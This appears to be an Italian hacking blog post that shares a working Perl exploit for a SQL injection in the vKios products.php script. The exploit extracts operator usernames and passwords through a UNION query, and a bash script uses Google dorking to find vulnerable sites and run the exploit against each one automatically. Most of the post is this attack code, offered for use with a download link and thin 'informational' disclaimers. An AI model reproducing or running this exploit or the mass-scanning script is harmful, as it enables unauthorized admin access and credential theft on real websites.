Oggi volevo parlarvi di una falla abbastanza recente scoperta nello script products.php
Il motore dell’exploit, anche stavolta, è una vulnerabilità sfruttabile tramite sql injection; vi permette di ottenere i privilegi di admin.

Vi allego il sorgente perl che potete eseguire in questo modo:
USO: perl vkios.pl localhost /vkios/ -o 1 oppure -o 2
per le specifiche sulle due opzioni vi rimando, di seguito, al codice dell’exploit perchè lo trovo molto più comprensibile di qualsiasi altra spiegazione. Se scorrete il sorgete all’altezza delle opzioni vedrete che la diversità risiede nel numero complessivo di parametri dell’istruzione union.
# http://site.korban/products.php?cat=[SQLI]
#
# ————————————-
# Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari,
# Indonesian Newhack Technology tidak bertanggung jawab akan kerusakan
# yang diakibatkan dari penyalahgunaan Exploit oleh pihak lain
#
# => NTOS-Team->[fl3xu5,k1tk4t,opt1lc]
#
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[2])
{
print “\n |——————————————————-|”;
print “\n | Indonesian Newhack Technology |”;
print “\n |——————————————————-|”;
print “\n | vKios (products.php cat) Remote SQL Injection Exploit |”;
print “\n | Coded by NTOS-Team |”;
print “\n |——————————————————-|”;
print “\n[!] “;
print “\n[!] Penggunaan : Perl vkios.pl [Site] [Path] [Option]“;
print “\n[!] [Option] 2 = versi > 1.3 | 1 = versi < 1.3 “;
print “\n[!] Contoh : Perl vkios.pl localhost /vkios/ -o 1″;
print “\n[!] “;
print “\n”;
exit;
}
$site = $ARGV[0]; # Site Target
$path = $ARGV[1]; # Path direktori vKios
%options = ();
GetOptions(\%options, “o=i”,);
if($options{”o”} && $options{”o”} == 1) { $injek = “http://”.$site.$path.”/products.php?cat=-1%20union%20select%201,
concat(0×74346d7520,username,0×3a,password,0×2067656c3470),3,4,5,6,7,8,9
%20from%20operator”; }
if($options{”o”} && $options{”o”} == 2) { $injek = “http://”.$site.$path.”/products.php?cat=-1%20
union%20select%201,concat(0×74346d7520,username,0×3a,password,0×2067656c3470),3,4,5,6,7,8,9,10
%20from%20operator”; }
$www = new LWP::UserAgent;
$sql = $injek;
print “\n\n [Konek] Injeksi SQL \n”;
$res = $www -> get($sql) or err();
$res -> content() =~ /t4mu (.*?) gel4p/ or err();
print “\n [Info.] username:password”;
print “\n [Hasil] $1 \n”;
print “\n [Login] http://”.$site.$path.”admin/ \n\n”;
sub err()
{
print “\n [-] Exploit gagal
- cari yang lain!”;
exit();
}
Per finire volevo proporvi anche uno script che, sfruttando google, ricerca tutti i web-site che hanno questo tipo di vulnerabilità provando ad iniettare l’exploit. Naturalmente tutto questo è a puro scopo informativo e non sono responsabile dei danni che si possono allocare facendone uso.
E’ uno script che ho scritto molto velocemente e quindi non è per niente ottimizzato, però il mio obiettivo e quello di trasmettere il fatto, che molte volte avere solo l’exploit non ci serve a molto se poi dobbiamo trovarci a mano un sito vulnerabile tra un infinità di siti.. il mio consiglio è: proviamo e sperimentiamo ma cerchiamo di fare il meno possibile a mano e affidiamoci per i lavori barbosi al computer.
Il sorgente è il seguente:
USO: ./botExp.sh <numero_pagine> >risultati.txt
Il <numero_pagine> lo trovate digitando la seguente query in google:
inurl:products.php?cat= site:com
Vi consiglio di redirezionare l’output ed usare in un altra shell il comando
tail -f cat risultati.txt
#!/bin/bash
#http://securityhacknet.wordpress.com
#purpose: automatizza il test dell’exploit
home_percorso=”/home/Exploit”
i=0
while [ $i -lt $1 ];
do
lynx –dump http://www.google.it/search?q=inurl:products.php%3Fcat%3D+site:com&hl=it&lr=lang_it&start=$i&sa=N > pag$i
$numero_siti=$(cat pag$i| awk ‘/http:\/\/www\..*\.com/{print $0;}’|egrep -v ‘http://www.google.(it|com)’|sed -e ’s/[0-9][0-9.]*//’|tr -s ‘ ‘|wc -l)
cat pag$i| awk ‘/http:\/\/www\..*\.com/{print $0;}’|egrep -v ‘http://www.google.(it|com)’|sed -e ’s/\/[p|P].*//’|sed -e ’s/[0-9][0-9.]*//’|tr -s ‘ ‘>p$i.tmp
echo -e “————————————————————————-\n”
numero_righe=`cat p$i.tmp|wc -l`
numero_righe=$[$numero_righe-1]
for p in `seq 0 $numero_righe`
do
echo -e “\npagina - $i -> posizione - $p\n”
j=$[$p+1]
sito_internet=$(cat p$i.tmp|head -$j|tail -1)
echo -e “\n sito internet analizzato: $sito_internet\n”
perl vkios.pl $sito_internet $home_percorso -o 1
done
echo -e “—————————————————————————-\n”
i=$[$i+10];
done
Ho messo i due script zippati al seguente indirizzo: http://www.megaupload.com/?d=6K44GOFX
Happy Hacking.
P.s: i commenti e suggerimenti costruttivi sono bene accetti… così si cresce culturalmente!!:-)
Articoli che potrebbero interessarti: